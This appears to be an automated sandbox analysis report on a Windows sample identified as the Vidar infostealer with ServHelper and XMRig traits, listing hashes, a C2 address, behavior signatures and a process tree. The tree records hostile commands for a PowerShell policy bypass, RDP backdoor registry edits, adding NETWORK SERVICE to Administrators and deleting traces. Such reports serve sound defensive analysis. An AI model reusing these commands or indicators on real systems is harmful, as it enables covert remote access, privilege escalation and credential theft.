Analysis

  • max time kernel
    136s
  • max time network
    146s
  • platform
    windows10_x64
  • resource
    win10-en-20211014
  • submitted
    16-10-2021 00:40

General

  • Target

    613df014511b022045728afac469eb460e95ee7773e1a9e6083cc6f5ca2fe6aa.exe

  • Size

    727KB

  • MD5

    2cbbe36a44658b6641048bfd57e1ea7f

  • SHA1

    197d39e7067afe3119a15729d39e6c05df672f05

  • SHA256

    613df014511b022045728afac469eb460e95ee7773e1a9e6083cc6f5ca2fe6aa

  • SHA512

    d61fd507d0d77339c165df0df11365558a408c08e50c1ceac594e93100bba40b4cf672b161cd2f731931b6f8636b4afee0c598f1b8f241f5a33dc8f68ab2b7d5

Malware Config

Extracted

Family

vidar

Version

41.4

Botnet

1008

C2

https://mas.to/@sslam

Attributes
  • profile_id

    1008

Signatures

  • ServHelper

    ServHelper is a backdoor written in Delphi and is associated with the hacking group TA505.

  • Vidar

    Vidar is an infostealer based on Arkei stealer.

  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • Grants admin privileges 1 TTPs

    Uses net.exe to modify the user's privileges.

  • Vidar Stealer 2 IoCs
  • Downloads MZ/PE file
  • Executes dropped EXE 2 IoCs
  • Modifies RDP port number used by Windows 1 TTPs
  • Sets DLL path for service in the registry 2 TTPs
  • Loads dropped DLL 2 IoCs
  • Obfuscated with Agile.Net obfuscator 1 IoCs

    Detects use of the Agile.Net commercial obfuscator, which is capable of entity renaming and control flow obfuscation.

  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Accesses 2FA software files, possible credential harvesting 2 TTPs
  • Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

  • Drops file in System32 directory 1 IoCs
  • Suspicious use of SetThreadContext 1 IoCs
  • Drops file in Windows directory 8 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Program crash 1 IoCs
  • Checks processor information in registry 2 TTPs 2 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Modifies registry key 1 TTPs 1 IoCs
  • NTFS ADS 4 IoCs
  • Runs net.exe
  • Suspicious behavior: EnumeratesProcesses 37 IoCs
  • Suspicious behavior: LoadsDriver 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 8 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\613df014511b022045728afac469eb460e95ee7773e1a9e6083cc6f5ca2fe6aa.exe
    "C:\Users\Admin\AppData\Local\Temp\613df014511b022045728afac469eb460e95ee7773e1a9e6083cc6f5ca2fe6aa.exe"
    1⤵
    • Loads dropped DLL
    • Checks processor information in registry
    • NTFS ADS
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of WriteProcessMemory
    PID:2324
    • C:\ProgramData\VUS3EJQ1FLLGUB0G.exe
      "C:\ProgramData\VUS3EJQ1FLLGUB0G.exe"
      2⤵
      • Executes dropped EXE
      • Suspicious use of SetThreadContext
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:4464
      • C:\Users\Admin\AppData\Local\Temp\InstallUtil.exe
        "C:\Users\Admin\AppData\Local\Temp\InstallUtil.exe"
        3⤵
        • Executes dropped EXE
        • Suspicious use of WriteProcessMemory
        PID:1088
        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
          "powershell.exe" -ep bypass & 'C:\Users\Admin\AppData\Local\Temp\\ready.ps1'
          4⤵
          • Drops file in System32 directory
          • Drops file in Windows directory
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of WriteProcessMemory
          PID:2800
          • C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe
            "C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\4bzrxrfa\4bzrxrfa.cmdline"
            5⤵
            • Suspicious use of WriteProcessMemory
            PID:4248
            • C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe
              C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESCDEB.tmp" "c:\Users\Admin\AppData\Local\Temp\4bzrxrfa\CSCA7D2E8B1D5149C982482F4C19A178C0.TMP"
              6⤵
                PID:4924
            • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              "C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" -Version 5.1 -s -NoLogo -NoProfile
              5⤵
              • Suspicious behavior: EnumeratesProcesses
              • Suspicious use of AdjustPrivilegeToken
              PID:5012
            • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              "C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" -Version 5.1 -s -NoLogo -NoProfile
              5⤵
              • Suspicious behavior: EnumeratesProcesses
              • Suspicious use of AdjustPrivilegeToken
              PID:3276
            • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              "C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" -Version 5.1 -s -NoLogo -NoProfile
              5⤵
              • Suspicious behavior: EnumeratesProcesses
              • Suspicious use of AdjustPrivilegeToken
              PID:3280
            • C:\Windows\SysWOW64\reg.exe
              "C:\Windows\system32\reg.exe" ADD "HKLM\System\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v PortNumber /t REG_DWORD /d 0x1C21 /f
              5⤵
                PID:5112
              • C:\Windows\SysWOW64\reg.exe
                "C:\Windows\system32\reg.exe" add HKLM\system\currentcontrolset\services\TermService\parameters /v ServiceDLL /t REG_EXPAND_SZ /d C:\Windows\branding\mediasrv.png /f
                5⤵
                • Modifies registry key
                PID:5044
              • C:\Windows\SysWOW64\reg.exe
                "C:\Windows\system32\reg.exe" add "HKLM\SOFTWARE\Policies\Microsoft\Windows NT\Terminal Services" /v fEnableWddmDriver /t reg_dword /d 0 /f
                5⤵
                  PID:4048
                • C:\Windows\SysWOW64\net.exe
                  "C:\Windows\system32\net.exe" localgroup Administrators "NT AUTHORITY\NETWORK SERVICE" /add
                  5⤵
                  • Suspicious use of WriteProcessMemory
                  PID:1884
                  • C:\Windows\SysWOW64\net1.exe
                    C:\Windows\system32\net1 localgroup Administrators "NT AUTHORITY\NETWORK SERVICE" /add
                    6⤵
                      PID:5052
                  • C:\Windows\SysWOW64\cmd.exe
                    "C:\Windows\system32\cmd.exe" /c cmd /c net start rdpdr
                    5⤵
                    • Suspicious use of WriteProcessMemory
                    PID:368
                    • C:\Windows\SysWOW64\cmd.exe
                      cmd /c net start rdpdr
                      6⤵
                      • Suspicious use of WriteProcessMemory
                      PID:64
                      • C:\Windows\SysWOW64\net.exe
                        net start rdpdr
                        7⤵
                        • Suspicious use of WriteProcessMemory
                        PID:704
                        • C:\Windows\SysWOW64\net1.exe
                          C:\Windows\system32\net1 start rdpdr
                          8⤵
                            PID:4936
                    • C:\Windows\SysWOW64\cmd.exe
                      "C:\Windows\system32\cmd.exe" /c cmd /c net start TermService
                      5⤵
                      • Suspicious use of WriteProcessMemory
                      PID:3448
                      • C:\Windows\SysWOW64\cmd.exe
                        cmd /c net start TermService
                        6⤵
                        • Suspicious use of WriteProcessMemory
                        PID:1620
                        • C:\Windows\SysWOW64\net.exe
                          net start TermService
                          7⤵
                            PID:3380
                            • C:\Windows\SysWOW64\net1.exe
                              C:\Windows\system32\net1 start TermService
                              8⤵
                                PID:896
                        • C:\Windows\SysWOW64\cmd.exe
                          "C:\Windows\system32\cmd.exe" /c del %temp%\*.ps1 /f
                          5⤵
                            PID:1608
                          • C:\Windows\SysWOW64\cmd.exe
                            "C:\Windows\system32\cmd.exe" /c del %temp%\*.txt /f
                            5⤵
                              PID:1892
                      • C:\Windows\SysWOW64\WerFault.exe
                        C:\Windows\SysWOW64\WerFault.exe -u -p 2324 -s 1936
                        2⤵
                        • Program crash
                        • Suspicious behavior: EnumeratesProcesses
                        • Suspicious use of AdjustPrivilegeToken
                        PID:4632

                    Network

                    MITRE ATT&CK Enterprise v6

                    Replay Monitor

                    Loading Replay Monitor...

                    Downloads

                    • memory/1088-144-0x0000000000700000-0x0000000000701000-memory.dmp

                      Filesize

                      4KB

                    • memory/1088-146-0x0000000005280000-0x000000000567F000-memory.dmp

                      Filesize

                      4.0MB

                    • memory/1088-154-0x0000000002AD4000-0x0000000002AD5000-memory.dmp

                      Filesize

                      4KB

                    • memory/1088-141-0x0000000000700000-0x0000000000B0B000-memory.dmp

                      Filesize

                      4.0MB

                    • memory/1088-152-0x0000000005890000-0x0000000005891000-memory.dmp

                      Filesize

                      4KB

                    • memory/1088-151-0x0000000002AD3000-0x0000000002AD4000-memory.dmp

                      Filesize

                      4KB

                    • memory/1088-149-0x0000000002AD0000-0x0000000002AD1000-memory.dmp

                      Filesize

                      4KB

                    • memory/1088-150-0x0000000002AD2000-0x0000000002AD3000-memory.dmp

                      Filesize

                      4KB

                    • memory/2324-115-0x00000000018E9000-0x0000000001966000-memory.dmp

                      Filesize

                      500KB

                    • memory/2324-116-0x0000000003470000-0x0000000003546000-memory.dmp

                      Filesize

                      856KB

                    • memory/2324-117-0x0000000000400000-0x0000000001729000-memory.dmp

                      Filesize

                      19.2MB

                    • memory/2800-168-0x0000000008820000-0x0000000008821000-memory.dmp

                      Filesize

                      4KB

                    • memory/2800-185-0x00000000051A3000-0x00000000051A4000-memory.dmp

                      Filesize

                      4KB

                    • memory/2800-160-0x0000000007730000-0x0000000007731000-memory.dmp

                      Filesize

                      4KB

                    • memory/2800-161-0x0000000008030000-0x0000000008031000-memory.dmp

                      Filesize

                      4KB

                    • memory/2800-163-0x0000000008130000-0x0000000008131000-memory.dmp

                      Filesize

                      4KB

                    • memory/2800-164-0x00000000051A0000-0x00000000051A1000-memory.dmp

                      Filesize

                      4KB

                    • memory/2800-165-0x00000000051A2000-0x00000000051A3000-memory.dmp

                      Filesize

                      4KB

                    • memory/2800-166-0x0000000007EE0000-0x0000000007EE1000-memory.dmp

                      Filesize

                      4KB

                    • memory/2800-167-0x0000000008540000-0x0000000008541000-memory.dmp

                      Filesize

                      4KB

                    • memory/2800-158-0x0000000004FE0000-0x0000000004FE1000-memory.dmp

                      Filesize

                      4KB

                    • memory/2800-157-0x00000000032A0000-0x00000000032A1000-memory.dmp

                      Filesize

                      4KB

                    • memory/2800-170-0x00000000032A0000-0x00000000032A1000-memory.dmp

                      Filesize

                      4KB

                    • memory/2800-174-0x0000000009DD0000-0x0000000009DD1000-memory.dmp

                      Filesize

                      4KB

                    • memory/2800-175-0x00000000094E0000-0x00000000094E1000-memory.dmp

                      Filesize

                      4KB

                    • memory/2800-159-0x0000000007820000-0x0000000007821000-memory.dmp

                      Filesize

                      4KB

                    • memory/2800-156-0x00000000032A0000-0x00000000032A1000-memory.dmp

                      Filesize

                      4KB

                    • memory/2800-1160-0x000000007FA00000-0x000000007FA01000-memory.dmp

                      Filesize

                      4KB

                    • memory/2800-206-0x00000000098C0000-0x00000000098C1000-memory.dmp

                      Filesize

                      4KB

                    • memory/2800-183-0x0000000007330000-0x0000000007331000-memory.dmp

                      Filesize

                      4KB

                    • memory/3276-471-0x0000000000FD0000-0x0000000000FD1000-memory.dmp

                      Filesize

                      4KB

                    • memory/3276-498-0x000000007F7D0000-0x000000007F7D1000-memory.dmp

                      Filesize

                      4KB

                    • memory/3276-472-0x0000000000FD2000-0x0000000000FD3000-memory.dmp

                      Filesize

                      4KB

                    • memory/3280-822-0x000000007F560000-0x000000007F561000-memory.dmp

                      Filesize

                      4KB

                    • memory/3280-727-0x0000000005172000-0x0000000005173000-memory.dmp

                      Filesize

                      4KB

                    • memory/3280-726-0x0000000005170000-0x0000000005171000-memory.dmp

                      Filesize

                      4KB

                    • memory/4464-134-0x0000000009780000-0x000000000978B000-memory.dmp

                      Filesize

                      44KB

                    • memory/4464-123-0x0000000000790000-0x0000000000791000-memory.dmp

                      Filesize

                      4KB

                    • memory/4464-133-0x00000000061D1000-0x00000000061D2000-memory.dmp

                      Filesize

                      4KB

                    • memory/4464-128-0x0000000006090000-0x0000000006091000-memory.dmp

                      Filesize

                      4KB

                    • memory/4464-135-0x00000000097E0000-0x00000000097E1000-memory.dmp

                      Filesize

                      4KB

                    • memory/4464-131-0x0000000006CA0000-0x0000000006CA1000-memory.dmp

                      Filesize

                      4KB

                    • memory/4464-127-0x00000000057D0000-0x00000000057D1000-memory.dmp

                      Filesize

                      4KB

                    • memory/4464-126-0x0000000005730000-0x0000000005731000-memory.dmp

                      Filesize

                      4KB

                    • memory/4464-132-0x0000000006C60000-0x0000000006C61000-memory.dmp

                      Filesize

                      4KB

                    • memory/4464-125-0x0000000005B90000-0x0000000005B91000-memory.dmp

                      Filesize

                      4KB

                    • memory/4464-130-0x0000000006C00000-0x0000000006C21000-memory.dmp

                      Filesize

                      132KB

                    • memory/4464-129-0x00000000061D0000-0x00000000061D1000-memory.dmp

                      Filesize

                      4KB

                    • memory/5012-209-0x0000000004DF0000-0x0000000004DF1000-memory.dmp

                      Filesize

                      4KB

                    • memory/5012-309-0x000000007E290000-0x000000007E291000-memory.dmp

                      Filesize

                      4KB

                    • memory/5012-217-0x0000000006FA2000-0x0000000006FA3000-memory.dmp

                      Filesize

                      4KB

                    • memory/5012-216-0x0000000006FA0000-0x0000000006FA1000-memory.dmp

                      Filesize

                      4KB

                    • memory/5012-208-0x0000000004DF0000-0x0000000004DF1000-memory.dmp

                      Filesize

                      4KB